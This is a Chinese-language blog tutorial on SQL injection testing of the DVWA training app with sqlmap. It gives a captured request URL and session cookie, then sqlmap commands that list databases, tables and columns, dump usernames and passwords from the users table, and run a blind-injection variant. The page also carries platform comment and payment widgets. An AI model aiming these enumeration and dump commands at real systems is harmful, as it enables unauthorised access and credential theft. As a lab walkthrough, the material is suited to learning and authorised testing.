一起学安全测试——用sqlmap对dvwa实现SQL注入测试

本文介绍如何利用sqlmap工具对DVWA进行SQL注入测试。通过设置dvwa为低安全级别,捕获GET请求,携带cookie运行sqlmap,逐步执行获取数据库、表及列的操作。

sqlmap是一款进行SQL注入的工具,非常简单好用。我们在dvwa上试着用sqlmap实现注入,拿到数据库的信息。

  1. 搭建dvwa环境并启动。
  2. windows上需要搭建Python环境,下载sqlmap包并解压。kali linux自带(之后演示在kali上)。
  3. 设置dvwa级别为low(medium,high都可以,不要设成impossible就行)
  4. 打开dvwa的SQL Injection,打开浏览器调试,输入user id并submit,查看拦截到的请求。
  5. 可以看到是一条GET请求,url是“http://192.168.7.28/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”,cookie里有”security=low; PHPSESSID=0nm9krnrptlt5v6ahockigke62”
  6. 我们先只用url试试
sqlmap -u "http://192.168.7.28/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

### 使用sqlmapDVWA低级SQL注入进行渗透测试 在使用sqlmapDVWA的低级SQL注入(Low Level SQL Injection)进行渗透测试时,需要确保正确配置目标URL和相关的Cookies。以下是详细的说明与操作步骤: #### 1. 确定目标URL DVWASQL注入漏洞页面通常位于`/vulnerabilities/sqli/`路径下,目标URL格式如下: ```plaintext http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# ``` 其中,`<DVWA-IP>`为DVWA服务器的IP地址。 #### 2. 设置Cookies 为了绕过DVWA安全级别限制(如`security=low`),需要提供正确的PHPSESSID和安全级别参数。例如: ```plaintext PHPSESSID=v1d47lav6lot63v45vif84lren; security=low ``` #### 3. 基本命令结构 使用以下基本命令启动sqlmap工具: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" ``` 此命令中: - `-u`指定目标URL。 - `--cookie`传递必要的会话信息[^1]。 #### 4. 获取数据库信息 可以通过附加参数来获取更多数据库相关信息: - **获取当前数据库名称**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --current-db --batch ``` 此命令将返回当前使用的数据库名称,例如`dvwa`[^3]。 - **枚举所有数据库**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --dbs --batch ``` - **枚举特定数据库中的表**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa --tables --batch ``` - **枚举特定表中的列**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users --columns --batch ``` - **转储数据**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users -C user,password --dump --batch ``` #### 5. 注意事项 - **安全性**:仅在授权的环境中进行渗透测试,避免非法操作。 - **错误抑制**:DVWA可能通过代码修改抑制了MySQL错误信息输出[^4],这可能影响sqlmap的检测效率。在这种情况下,可以尝试布尔盲注或时间盲注模式。 - **布尔盲注**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --technique=B --batch ``` ### 示例代码 以下是一个完整的sqlmap命令示例: ```bash sqlmap -u "http://172.16.60.233/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren; security=low" -D dvwa -T users -C user,password --dump --batch ``` ---
评论 7
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值